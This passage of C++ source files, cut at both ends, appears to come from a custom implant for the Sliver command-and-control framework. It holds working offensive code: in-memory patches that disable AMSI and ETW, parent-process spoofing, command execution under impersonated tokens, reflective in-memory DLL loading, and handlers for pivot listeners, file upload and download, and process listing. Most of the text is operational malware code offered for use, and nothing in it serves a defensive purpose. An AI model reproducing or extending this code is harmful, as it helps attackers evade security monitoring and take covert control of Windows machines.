make_shared(client_socket); 82 | return conn; 83 | } 84 | bool TCPListener::Stop() { 85 | if (!closesocket(this->listen_socket)) { 86 | return true; 87 | } 88 | return false; 89 | } 90 | void TCPListener::Clean() { 91 | return; 92 | } 93 | } -------------------------------------------------------------------------------- /src/Utils.cpp: -------------------------------------------------------------------------------- 1 | #include "Utils.h" 2 | #include 3 | namespace utils { 4 | bool is_number(const std::string& s){ 5 | std::string s1 = ""; 6 | if (s.length() >= 2 && s[0] == '0' && s[1] == 'x') { 7 | s1.assign(&s[2]); 8 | } 9 | else { 10 | s1 = s; 11 | } 12 | return !s1.empty() && std::find_if(s1.begin(), 13 | s1.end(), [](unsigned char c) { return !std::isxdigit(c); }) == s1.end(); 14 | } 15 | 16 | std::string ws2s(const std::wstring& s) 17 | { 18 | int len; 19 | int slength = (int)s.length() + 1; 20 | len = WideCharToMultiByte(CP_ACP, 0, s.c_str(), slength, 0, 0, 0, 0); 21 | std::string r(len, '\0'); 22 | WideCharToMultiByte(CP_ACP, 0, s.c_str(), slength, &r[0], len, 0, 0); 23 | return r; 24 | } 25 | } -------------------------------------------------------------------------------- /src/common.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | package sliverpb; 3 | 4 | /* 5 | Generic protobuf messages 6 | */ 7 | 8 | message Empty {} 9 | 10 | // Request - Common fields used in all gRPC requests 11 | message Request { 12 | bool Async = 1; 13 | int64 Timeout = 2; 14 | 15 | string BeaconID = 8; 16 | string SessionID = 9; 17 | } 18 | 19 | // Response - Common fields used in all gRPC responses. Note that the Err field 20 | // only used when the implant needs to return an error to the server. 21 | // Client<->Server comms should use normal gRPC error handling. 22 | message Response { 23 | string Err = 1; 24 | bool Async = 2; 25 | string BeaconID = 8; 26 | string TaskID = 9; 27 | } 28 | 29 | // File - A basic file data type 30 | message File { 31 | string Name = 1; 32 | bytes Data = 2; 33 | } 34 | 35 | // Process - A basic process data type 36 | message Process { 37 | int32 Pid = 1; 38 | int32 Ppid = 2; 39 | string Executable = 3; 40 | string Owner = 4; 41 | string Architecture = 7; 42 | int32 SessionID = 5; 43 | repeated string CmdLine = 6; 44 | } 45 | 46 | // EnvVar - Environment variable K/V 47 | message EnvVar { 48 | string Key = 1; 49 | string Value = 2; 50 | } -------------------------------------------------------------------------------- /src/constants.cpp: -------------------------------------------------------------------------------- 1 | #include "constants.h" 2 | 3 | namespace sliverpb { 4 | MsgType MsgNumber(google::protobuf::Message& msg) { 5 | if (msg.GetDescriptor()->name().compare("PwdReq")) { 6 | return MsgPwdReq; 7 | } 8 | } 9 | } -------------------------------------------------------------------------------- /src/evasion.cpp: -------------------------------------------------------------------------------- 1 | #include "evasion.h" 2 | #include 3 | namespace evasion { 4 | 5 | bool spoof(int pid, STARTUPINFOEXA& si) { 6 | SIZE_T attributeSize; 7 | HANDLE parentProcessHandle = INVALID_HANDLE_VALUE; 8 | parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid); 9 | if (parentProcessHandle == INVALID_HANDLE_VALUE) 10 | return false; 11 | InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); 12 | si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize); 13 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); 14 | UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL); 15 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 16 | 17 | return true; 18 | } 19 | BOOL patchAMSI() 20 | { 21 | 22 | #ifdef _M_AMD64 23 | unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };//x64 24 | #elif defined(_M_IX86) 25 | unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };//x86 26 | #endif 27 | 28 | HINSTANCE hinst = LoadLibrary("amsi.dll"); 29 | void* pAddress = (PVOID)GetProcAddress(hinst, "AmsiScanBuffer"); 30 | if (pAddress == NULL) 31 | { 32 | printf("AmsiScanBuffer failed\n"); 33 | return 0; 34 | } 35 | 36 | void* lpBaseAddress = pAddress; 37 | ULONG OldProtection = 0, NewProtection = 0; 38 | SIZE_T uSize = sizeof(amsiPatch); 39 | 40 | //Change memory protection via NTProtectVirtualMemory 41 | BOOL res = VirtualProtect((PVOID)&lpBaseAddress, uSize, PAGE_EXECUTE_READWRITE, &OldProtection); 42 | if (res == FALSE) { 43 | printf("[-] NtProtectVirtualMemory failed\n"); 44 | return 0; 45 | } 46 | 47 | //Patch AMSI via NTWriteVirtualMemory 48 | SIZE_T written; 49 | res = WriteProcessMemory(GetCurrentProcess(), pAddress, (PVOID)&amsiPatch[0], sizeof(amsiPatch), &written); 50 | if (res == FALSE) { 51 | printf("[-] WriteProcessMemory failed\n"); 52 | return 0; 53 | } 54 | //Revert back memory protection via NTProtectVirtualMemory 55 | res = VirtualProtect((PVOID)&lpBaseAddress, uSize, PAGE_EXECUTE_READWRITE, &OldProtection); 56 | if (res == FALSE) { 57 | printf("[-] NtProtectVirtualMemory2 failed\n"); 58 | return 0; 59 | } 60 | //Successfully patched AMSI 61 | return 1; 62 | } 63 | BOOL patchETW(BOOL revertETW) 64 | { 65 | #ifdef _M_AMD64 66 | unsigned char etwPatch[] = { 0 }; 67 | #elif defined(_M_IX86) 68 | unsigned char etwPatch[3] = { 0 }; 69 | #endif 70 | SIZE_T uSize = 8; 71 | ULONG patchSize = 0; 72 | 73 | if (revertETW != 0) { 74 | #ifdef _M_AMD64 75 | //revert ETW x64 76 | patchSize = 1; 77 | etwPatch[0] = 0x4c; 78 | #elif defined(_M_IX86) 79 | //revert ETW x86 80 | patchSize = 3; 81 | MSVCRT$memcpy((char*)etwPatch, "\x8b\xff\x55", patchSize); 82 | #endif 83 | } 84 | else { 85 | #ifdef _M_AMD64 86 | //Break ETW x64 87 | patchSize = 1; 88 | etwPatch[0] = 0xc3; 89 | #elif defined(_M_IX86) 90 | //Break ETW x86 91 | patchSize = 3; 92 | MSVCRT$memcpy((char*)etwPatch, "\xc2\x14\x00", patchSize); 93 | #endif 94 | } 95 | 96 | //Get pointer to EtwEventWrite 97 | void* pAddress = (PVOID)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"); 98 | if (pAddress == NULL) 99 | { 100 | printf("Getting pointer to EtwEventWrite failed\n"); 101 | return 0; 102 | } 103 | 104 | void* lpBaseAddress = pAddress; 105 | ULONG OldProtection = 0, NewProtection = 0; 106 | 107 | //Change memory protection via NTProtectVirtualMemory 108 | BOOL res = VirtualProtect((PVOID)&lpBaseAddress, uSize, PAGE_EXECUTE_READWRITE, &OldProtection); 109 | if (res == FALSE) { 110 | printf("[-] NtProtectVirtualMemory failed\n"); 111 | return 0; 112 | } 113 | 114 | //Patch ETW via NTWriteVirtualMemory 115 | SIZE_T written; 116 | res = WriteProcessMemory(GetCurrentProcess(), pAddress, (PVOID)&etwPatch[0], sizeof(etwPatch) / sizeof(etwPatch[0]), &written); 117 | if (res == FALSE) { 118 | printf("[-] WriteProcessMemory failed\n"); 119 | return 0; 120 | } 121 | //Revert back memory protection via NTProtectVirtualMemory 122 | res = VirtualProtect((PVOID)&lpBaseAddress, uSize, PAGE_EXECUTE_READWRITE, &OldProtection); 123 | if (res == FALSE) { 124 | printf("[-] NtProtectVirtualMemory2 failed\n"); 125 | return 0; 126 | } 127 | //Successfully patched ETW 128 | return 1; 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /src/execute.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "taskRunner.h" 3 | #include "evasion.h" 4 | #include 5 | #include "Token.h" 6 | 7 | #define BUF_SIZE 4096 8 | namespace taskrunner { 9 | string readFromPipe(HANDLE pipe_handle) { 10 | char buffer[BUF_SIZE] = { 0 }; 11 | DWORD dwRead = 0; 12 | string out; 13 | while (1) { 14 | auto bSuccess = ReadFile(pipe_handle, buffer, BUF_SIZE, &dwRead, NULL); 15 | if (!bSuccess) { 16 | break; 17 | } 18 | else if (dwRead == 0) 19 | break; 20 | else 21 | out.append(buffer,dwRead); 22 | } 23 | return out; 24 | } 25 | string execute(const string& cmd, bool capture, int ppid, bool usetoken) { 26 | STARTUPINFOEXW si = { 0 }; 27 | PROCESS_INFORMATION pi; 28 | SIZE_T attributeSize; 29 | HANDLE parentProcessHandle = INVALID_HANDLE_VALUE; 30 | ZeroMemory(&si, sizeof(STARTUPINFOEXW)); 31 | ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); 32 | 33 | HANDLE g_hChildStd_OUT_Rd = NULL; 34 | HANDLE g_hChildStd_OUT_Wr = NULL; 35 | HANDLE hPipeDup = INVALID_HANDLE_VALUE; 36 | 37 | if (ppid != 0) { 38 | parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, ppid); 39 | if (parentProcessHandle == INVALID_HANDLE_VALUE) 40 | throw exception(std::format("OpenProcess failed with error: {}", GetLastError()).c_str()); 41 | InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); 42 | si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize); 43 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); 44 | UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL); 45 | si.StartupInfo.cb = sizeof(STARTUPINFOEXW); 46 | } 47 | else { 48 | si.StartupInfo.cb = sizeof(STARTUPINFOEXW); 49 | InitializeProcThreadAttributeList(NULL, 0, 0, &attributeSize); 50 | si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize); 51 | } 52 | if (capture) { 53 | SECURITY_ATTRIBUTES saAttr; 54 | // Set the bInheritHandle flag so pipe handles are inherited. 55 | 56 | saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 57 | saAttr.bInheritHandle = TRUE; 58 | saAttr.lpSecurityDescriptor = NULL; 59 | if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) 60 | throw exception("StdoutRd CreatePipe"); 61 | if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) 62 | throw exception("StdoutRd CreatePipe"); 63 | if (ppid) { 64 | if (!DuplicateHandle(GetCurrentProcess(), g_hChildStd_OUT_Wr, parentProcessHandle, &hPipeDup, 0, true, DUPLICATE_SAME_ACCESS)) { 65 | throw exception(std::format("duplicate Handle failed with error: {}", GetLastError()).c_str()); 66 | } 67 | si.StartupInfo.hStdOutput = hPipeDup; 68 | si.StartupInfo.hStdError = hPipeDup; 69 | } 70 | else { 71 | si.StartupInfo.hStdOutput = g_hChildStd_OUT_Wr; 72 | si.StartupInfo.hStdError = g_hChildStd_OUT_Wr; 73 | } 74 | si.StartupInfo.dwFlags |= STARTF_USESTDHANDLES; 75 | } 76 | BOOL res = FALSE; 77 | std::wstring wscmd(cmd.size(), L' '); // Overestimate number of code points. 78 | wscmd.resize(std::mbstowcs(&wscmd[0], cmd.c_str(), cmd.size())); // Shrink to fit. 79 | if (usetoken) { 80 | HANDLE hPrimaryToken = INVALID_HANDLE_VALUE; 81 | if(!DuplicateTokenEx(token::getToken(), TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hPrimaryToken)) 82 | throw exception(std::format("[-] DuplicateTokenEx failed with error: {}", GetLastError()).c_str()); 83 | res = CreateProcessWithTokenW(hPrimaryToken, 0, NULL, (LPWSTR)wscmd.c_str(), CREATE_NO_WINDOW, NULL, NULL, &si.StartupInfo, &pi); 84 | CloseHandle(hPrimaryToken); 85 | } 86 | else { 87 | res = CreateProcessW(NULL, (LPWSTR)wscmd.c_str(), NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, NULL, NULL, &si.StartupInfo, &pi); 88 | } 89 | if (!res) { 90 | throw exception(std::format("[-] CreateProcessW failed with error: {}", GetLastError()).c_str()); 91 | } 92 | DeleteProcThreadAttributeList(si.lpAttributeList); 93 | HeapFree(GetProcessHeap(), 0, si.lpAttributeList); 94 | 95 | CloseHandle(pi.hProcess); 96 | CloseHandle(pi.hThread); 97 | CloseHandle(g_hChildStd_OUT_Wr); 98 | if (hPipeDup != INVALID_HANDLE_VALUE) { 99 | if (!DuplicateHandle(parentProcessHandle, hPipeDup, NULL, 100 | &hPipeDup, 0, FALSE, DUPLICATE_CLOSE_SOURCE)) 101 | throw exception(std::format("[-] Duplicate Handle failed with error: {}", GetLastError()).c_str()); 102 | } 103 | auto out = readFromPipe(g_hChildStd_OUT_Rd); 104 | CloseHandle(g_hChildStd_OUT_Rd); 105 | CloseHandle(hPipeDup); 106 | return out; 107 | } 108 | } -------------------------------------------------------------------------------- /src/extensions.cpp: -------------------------------------------------------------------------------- 1 | #include "extensions.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | using namespace std; 8 | 9 | namespace extensions { 10 | 11 | map> extensions; 12 | mutex mut; 13 | string buffer; 14 | mutex mut_buffer; 15 | typedef int(*goCallback) (const char* buff, int size); 16 | typedef void(*go) (char* args, uint32_t args_size, goCallback); 17 | 18 | int goCallback_impl(const char* buff, int size) { 19 | buffer.clear(); 20 | buffer.append(buff, size); 21 | return 0; 22 | } 23 | 24 | WindowsExtension::WindowsExtension(const string& _data, const string& _name, const string& _os, const string& _init) : name(_name), os(_os), init(_init) { 25 | this->module = MemoryLoadLibrary(_data.c_str(), _data.size()); 26 | } 27 | string WindowsExtension::Call(const string& func_name, const string& arguments) { 28 | go proc = (go)MemoryGetProcAddress(this->module, func_name.c_str()); 29 | unique_lock lk{ mut_buffer }; 30 | try { 31 | proc((char*)arguments.c_str(), arguments.size(), goCallback_impl); 32 | } 33 | catch (exception& e) { 34 | return std::format("Triggered the following exception: {}", e.what()); 35 | } 36 | string ret = buffer; 37 | return ret; 38 | } 39 | BOOL addExtension(const string& _data, const string& _name, const string& _os, const string& _init) { 40 | unique_lock lk{ mut }; 41 | if (extensions.contains(_name)) { 42 | return FALSE; 43 | } 44 | else { 45 | extensions.emplace(_name, make_shared(WindowsExtension{ _data,_name,_os,_init })); 46 | } 47 | return true; 48 | } 49 | string runExtension(const string& name, const string& export_name, const string& args) { 50 | unique_lock lk{ mut }; 51 | auto ext = extensions.find(name)->second; 52 | auto res = ext->Call(export_name, args); 53 | return res; 54 | } 55 | std::vector listExtensions() { 56 | unique_lock lk{ mut }; 57 | vector ret; 58 | for (auto it = extensions.begin();it != extensions.end();++it) { 59 | ret.push_back(it->first); 60 | } 61 | return ret; 62 | } 63 | } -------------------------------------------------------------------------------- /src/filesystem.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrAle98/Sliver-CPPImplant2/b9b66587195ef4d61f5a409a30cc2abade9b1470/src/filesystem.cpp -------------------------------------------------------------------------------- /src/globals.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | using namespace std; 4 | 5 | string instanceID; -------------------------------------------------------------------------------- /src/pivotHandlers.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "Handlers.h" 3 | #include "Handlers_Utils.h" 4 | #include "constants.h" 5 | #include "listeners.h" 6 | #include 7 | #include "pivots.h" 8 | //#include 9 | #include "Connection.h" 10 | #define BUFSIZE 512 11 | using namespace std; 12 | 13 | namespace handlers { 14 | 15 | /*map pivotHandlers = { 16 | {sliverpb::MsgPivotStartListenerReq,static_cast(pivotStartListenerHandler)}, 17 | {sliverpb::MsgPivotPeerEnvelope,static_cast(pivotPeerEnvelopeHandler)} 18 | };*/ 19 | 20 | map beaconPivotHandlers = { 21 | {sliverpb::MsgPivotStartListenerReq,static_cast(beaconPivotStartListenerHandler)}, 22 | {sliverpb::MsgPivotStopListenerReq,static_cast(beaconPivotStopListenerHandler)}, 23 | {sliverpb::MsgPivotListenersReq,static_cast(beaconListenersHandler)}, 24 | {sliverpb::MsgPivotPeerEnvelope,static_cast(beaconPivotPeerEnvelopeHandler)} 25 | }; 26 | 27 | mutex pivotListenersMut; 28 | map> pivotListeners; 29 | atomic maxid_listener = 1; 30 | /*map& getPivotHandlers() { 31 | return pivotHandlers; 32 | }*/ 33 | 34 | map& getBeaconPivotHandlers() { 35 | return beaconPivotHandlers; 36 | } 37 | 38 | //sliverpb::Envelope pivotStartListenerHandler(sliverpb::Envelope env, shared_ptr c) { 39 | // sliverpb::PivotListener resp; 40 | // string pipe_name; 41 | // unique_ptr listener = make_unique(pipe_name); 42 | // auto piv_listener = make_shared(1, listener, pipe_name, c->to_send_queue); 43 | // piv_listener->StartListening(); 44 | // //StartListener(piv_listener); 45 | // pivotListeners.insert(std::pair>(piv_listener->id, piv_listener)); 46 | // resp.set_bindaddress("aaaaa"); 47 | // resp.set_id(1); 48 | // resp.set_type(sliverpb::NamedPipe); 49 | // return wrapResponse(env.id(), resp); 50 | //} 51 | 52 | //sliverpb::Envelope pivotPeerEnvelopeHandler(sliverpb::Envelope env, shared_ptr c) { 53 | // sliverpb::PivotPeerEnvelope req; 54 | // req.ParseFromString(env.data()); 55 | // auto nextPeerID = pivots::findNextPeerID(req); 56 | // if (nextPeerID == 0) { 57 | // cout << "not found next peer id" << endl; 58 | // } 59 | // for (auto it = pivotListeners.begin();it != pivotListeners.end();++it) { 60 | // if (it->second->connections.count(nextPeerID)) { 61 | // it->second->connections.find(nextPeerID)->second->downstream->push(std::move(env)); 62 | // } 63 | // } 64 | // sliverpb::Envelope ret; 65 | // return ret; 66 | //} 67 | sliverpb::Envelope beaconListenersHandler(sliverpb::Envelope env, shared_ptr b) { 68 | sliverpb::PivotListeners resp; 69 | for (auto it = pivotListeners.begin();it != pivotListeners.end();++it) { 70 | auto l = resp.add_listeners(); 71 | l->set_bindaddress(it->second->bindAddress); 72 | l->set_id(it->second->id); 73 | l->set_type(it->second->type); 74 | std::unique_lock lk{ it->second->connections_mutex }; 75 | std::vector to_remove; 76 | 77 | for (auto pivots_it = it->second->connections.begin();pivots_it != it->second->connections.end();) { 78 | if (pivots_it->second->stop == true) { 79 | it->second->connections.erase(pivots_it++); 80 | } 81 | else { 82 | ++pivots_it; 83 | } 84 | } 85 | for (auto pivots_it = it->second->connections.begin();pivots_it != it->second->connections.end();++pivots_it) { 86 | auto p = l->add_pivots(); 87 | p->set_peerid(pivots_it->second->downstreamPeerID); 88 | p->set_remoteaddress(it->second->bindAddress); 89 | } 90 | } 91 | return wrapResponse(env.id(), resp); 92 | } 93 | 94 | sliverpb::Envelope beaconPivotStopListenerHandler(sliverpb::Envelope env, shared_ptr b) { 95 | sliverpb::PivotStopListenerReq req; 96 | sliverpb::PivotListener pivln; 97 | req.ParseFromString(env.data()); 98 | unique_lock lk{ pivotListenersMut }; 99 | auto listener = pivotListeners.find(req.id()); 100 | if (listener != pivotListeners.end()) { 101 | pivln.set_bindaddress(listener->second->bindAddress); 102 | pivln.set_id(listener->second->id); 103 | listener->second->StopListening(); 104 | pivotListeners.erase(req.id()); 105 | } 106 | return wrapResponse(env.id(), pivln); 107 | } 108 | sliverpb::Envelope beaconPivotStartListenerHandler(sliverpb::Envelope env, shared_ptr b) { 109 | sliverpb::PivotStartListenerReq req; 110 | req.ParseFromString(env.data()); 111 | sliverpb::PivotListener resp; 112 | unique_ptr listener = nullptr; 113 | shared_ptr piv_listener = nullptr; 114 | if (req.type() == sliverpb::PivotType::NamedPipe) { 115 | listener = make_unique(std::format("\\\\.\\pipe\\{}", req.bindaddress())); 116 | piv_listener = make_shared(maxid_listener, req.type(), listener, std::format("\\\\.\\pipe\\{}", req.bindaddress()), b); 117 | } 118 | else if (req.type() == sliverpb::PivotType::TCP) { 119 | listener = make_unique(req.bindaddress()); 120 | piv_listener = make_shared(maxid_listener, req.type(), listener, req.bindaddress(), b); 121 | } 122 | piv_listener->StartListening(b); 123 | //StartListener(piv_listener); 124 | unique_lock lk{ pivotListenersMut }; 125 | pivotListeners.insert(std::pair>(piv_listener->id, piv_listener)); 126 | maxid_listener++; 127 | resp.set_bindaddress(req.bindaddress()); 128 | resp.set_id(piv_listener->id); 129 | resp.set_type(req.type()); 130 | return wrapResponse(env.id(), resp); 131 | } 132 | 133 | sliverpb::Envelope beaconPivotPeerEnvelopeHandler(sliverpb::Envelope env, shared_ptr b) { 134 | sliverpb::PivotPeerEnvelope req; 135 | req.ParseFromString(env.data()); 136 | auto nextPeerID = pivots::findNextPeerID(req); 137 | if (nextPeerID == 0) { 138 | #ifdef DEBUG 139 | cout << "not found next peer id" << endl; 140 | #endif 141 | } 142 | for (auto it = pivotListeners.begin();it != pivotListeners.end();++it) { 143 | if (it->second->connections.count(nextPeerID)) { 144 | while (!it->second->connections.find(nextPeerID)->second->WriteEnvelope(env)) { 145 | } 146 | } 147 | } 148 | sliverpb::Envelope ret; 149 | return ret; 150 | } 151 | 152 | vector collectPivotEnvelopes() { 153 | vector vec; 154 | for (auto it = pivotListeners.begin();it != pivotListeners.end();++it) { 155 | for (auto it_2 = it->second->connections.begin();it_2 != it->second->connections.end();++it_2) { 156 | if (it_2->second->Check()) { 157 | auto env = it_2->second->ReadEnvelope(); 158 | if (env.type() == sliverpb::MsgPivotPeerEnvelope) { 159 | sliverpb::PivotPeerEnvelope peer_env; 160 | peer_env.ParseFromString(env.data()); 161 | auto peers = peer_env.peers(); 162 | for (auto it = peers.begin();it != peers.end();++it) { 163 | auto a = it->peerid(); 164 | } 165 | auto p = peer_env.add_peers(); 166 | p->set_name("DAMP_BOW"); 167 | p->set_peerid(pivots::getPeerID()); 168 | for (auto it = peers.begin();it != peers.end();++it) { 169 | auto a = it->peerid(); 170 | } 171 | string serialized; 172 | peer_env.SerializeToString(&serialized); 173 | env.set_data(serialized); 174 | vec.push_back(std::move(env)); 175 | } 176 | } 177 | } 178 | } 179 | return vec; 180 | } 181 | } -------------------------------------------------------------------------------- /src/processes.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "processes.h" 3 | #include "Token.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "Utils.h" 9 | #include 10 | 11 | namespace processes { 12 | 13 | std::string getProcArch(int pid) { 14 | HANDLE hProc = INVALID_HANDLE_VALUE; 15 | hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); 16 | if (hProc == INVALID_HANDLE_VALUE || hProc == 0) 17 | return ""; 18 | BOOL isWow64 = FALSE; 19 | if (!IsWow64Process(hProc, &isWow64)) { 20 | CloseHandle(hProc); 21 | return ""; 22 | } 23 | if (isWow64) 24 | return "x86"; 25 | else 26 | return "x86_64"; 27 | } 28 | std::string getProcOwner(int pid) { 29 | HANDLE hProc = INVALID_HANDLE_VALUE; 30 | HANDLE hToken = INVALID_HANDLE_VALUE; 31 | hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); 32 | if (hProc == INVALID_HANDLE_VALUE || hProc == 0) 33 | return ""; 34 | if (!OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) { 35 | CloseHandle(hProc); 36 | return ""; 37 | } 38 | token::Token tk{ hToken }; 39 | CloseHandle(hToken); 40 | CloseHandle(hProc); 41 | return utils::ws2s(tk.Username); 42 | } 43 | 44 | /*std::string getCmdLine(int pid) { 45 | HANDLE snapshot = INVALID_HANDLE_VALUE; 46 | snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0); 47 | if (snapshot == INVALID_HANDLE_VALUE || snapshot == 0) 48 | return ""; 49 | 50 | }*/ 51 | std::int32_t getProcSessionID(int32_t pid) { 52 | uint32_t sessionID = -1; 53 | if (!ProcessIdToSessionId(pid, (DWORD*)&sessionID)) 54 | return -1; 55 | else 56 | return sessionID; 57 | } 58 | 59 | WinProcess::WinProcess(PROCESSENTRY32 entry) : pid(entry.th32ProcessID),ppid(entry.th32ParentProcessID),exe(entry.szExeFile){ 60 | this->arch = getProcArch(pid); 61 | this->owner = getProcOwner(pid); 62 | this->cmdLine = ""; 63 | this->sessionID = getProcSessionID(pid); 64 | } 65 | 66 | WinProcess::WinProcess(const WinProcess& other) : pid(other.pid), ppid(other.ppid), exe(other.exe), owner(other.owner), arch(other.arch), cmdLine(other.cmdLine), sessionID(other.sessionID){ 67 | } 68 | std::vector ps() { 69 | HANDLE snapshot = INVALID_HANDLE_VALUE; 70 | snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 71 | if (snapshot == INVALID_HANDLE_VALUE || snapshot == 0) 72 | throw std::exception(std::format("[-] CreateToolhelp32Snapshot failed with error: {}", GetLastError()).c_str()); 73 | 74 | PROCESSENTRY32 entry = { 0 }; 75 | entry.dwSize = sizeof PROCESSENTRY32; 76 | if (!Process32First(snapshot, &entry)) { 77 | CloseHandle(snapshot); 78 | throw std::exception(std::format("[-] Process32First failed with error: {}", GetLastError()).c_str()); 79 | } 80 | std::vector results; 81 | while (1) { 82 | results.push_back(WinProcess{ entry }); 83 | entry.dwSize = sizeof PROCESSENTRY32; 84 | if (!Process32Next(snapshot, &entry)) 85 | break; 86 | } 87 | CloseHandle(snapshot); 88 | return results; 89 | } 90 | } -------------------------------------------------------------------------------- /src/systemHandlers.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "Handlers.h" 3 | #include "Handlers_Utils.h" 4 | #include "constants.h" 5 | #include 6 | #include "taskRunner.h" 7 | #include "extensions.h" 8 | #include "filesystem.h" 9 | #include 10 | #include 11 | #include 12 | #include "Token.h" 13 | #include "Utils.h" 14 | #include "processes.h" 15 | 16 | using namespace std; 17 | using namespace taskrunner; 18 | 19 | namespace handlers { 20 | map systemHandlers = { 21 | {sliverpb::MsgPwdReq,static_cast(pwdHandler)}, 22 | {sliverpb::MsgInvokeInProcExecuteAssemblyReq,static_cast(executeAssemblyHandler)}, 23 | {sliverpb::MsgRegisterExtensionReq,static_cast(registerExtensionHandler)}, 24 | {sliverpb::MsgCallExtensionReq,static_cast(callExtensionHandler)}, 25 | {sliverpb::MsgListExtensionsReq,static_cast(listExtensionHandler)}, 26 | {sliverpb::MsgCdReq,static_cast(cdHandler)}, 27 | {sliverpb::MsgLsReq,static_cast(lsHandler)}, 28 | {sliverpb::MsgUploadReq,static_cast(uploadHandler)}, 29 | {sliverpb::MsgDownloadReq,static_cast(downloadHandler)}, 30 | {sliverpb::MsgMkdirReq,static_cast(mkdirHandler)}, 31 | {sliverpb::MsgRmReq,static_cast(rmHandler)}, 32 | {sliverpb::MsgMakeTokenReq,static_cast(makeTokenHandler)}, 33 | {sliverpb::MsgRevToSelfReq,static_cast(revToSelfHandler)}, 34 | {sliverpb::MsgExecuteWindowsReq,static_cast(executeHandler)}, 35 | {sliverpb::MsgExecuteReq,static_cast(executeHandler)}, 36 | {sliverpb::MsgImpersonateReq,static_cast(impersonateHandler)}, 37 | {sliverpb::MsgListTokensReq,static_cast(ListTokensHandler)}, 38 | {sliverpb::MsgPsReq,static_cast(psHandler)} 39 | }; 40 | 41 | map& getSystemHandlers() { 42 | return systemHandlers; 43 | } 44 | 45 | sliverpb::Envelope psHandler(int64_t taskID, string data) { 46 | sliverpb::PsReq req; 47 | sliverpb::Ps resp; 48 | req.ParseFromString(data); 49 | try { 50 | auto procs = processes::ps(); 51 | for (auto it = procs.begin();it != procs.end();++it) { 52 | auto proc = resp.add_processes(); 53 | proc->set_architecture(it->arch); 54 | proc->set_executable(it->exe); 55 | proc->set_owner(it->owner); 56 | proc->set_pid(it->pid); 57 | proc->set_ppid(it->ppid); 58 | proc->set_sessionid(it->sessionID); 59 | } 60 | } 61 | catch (exception& e) { 62 | auto common_resp = new sliverpb::Response(); 63 | common_resp->set_err(std::format("execute triggered exception: {}", e.what())); 64 | resp.set_allocated_response(common_resp); 65 | } 66 | return wrapResponse(taskID, resp); 67 | } 68 | 69 | sliverpb::Envelope executeHandler(int64_t taskID, string data) { 70 | sliverpb::ExecuteWindowsReq req; 71 | sliverpb::Execute resp; 72 | 73 | req.ParseFromString(data); 74 | string cmd; 75 | cmd.append(req.path()); 76 | cmd.append(" "); 77 | for (auto it = req.args().begin();it != req.args().end();++it) 78 | cmd.append(it->c_str()); 79 | try { 80 | auto output = taskrunner::execute(cmd, req.output(),req.ppid(),req.usetoken()); 81 | resp.set_stdout_pb(output); 82 | } 83 | catch (exception& e) { 84 | auto common_resp = new sliverpb::Response(); 85 | common_resp->set_err(std::format("execute triggered exception: {}",e.what())); 86 | resp.set_allocated_response(common_resp); 87 | } 88 | return wrapResponse(taskID, resp); 89 | } 90 | 91 | sliverpb::Envelope pwdHandler(int64_t taskID,string data) { 92 | sliverpb::PwdReq req; 93 | req.ParseFromString(data); 94 | auto path = FS::pwd(); 95 | sliverpb::Pwd resp; 96 | resp.set_path(path); 97 | return wrapResponse(taskID, resp); 98 | } 99 | sliverpb::Envelope lsHandler(int64_t taskID, string data) { 100 | sliverpb::LsReq req; 101 | req.ParseFromString(data); 102 | //sliverpb::Envelope resp; 103 | auto resp = FS::ls(req.path(),false); 104 | return wrapResponse(taskID, resp); 105 | } 106 | sliverpb::Envelope cdHandler(int64_t taskID, string data) { 107 | sliverpb::CdReq req; 108 | sliverpb::Pwd resp; 109 | req.ParseFromString(data); 110 | auto ret = FS::cd(req.path()); 111 | resp.set_path(ret); 112 | return wrapResponse(taskID, resp); 113 | } 114 | sliverpb::Envelope uploadHandler(int64_t taskID, string data) { 115 | sliverpb::UploadReq req; 116 | sliverpb::Upload resp; 117 | 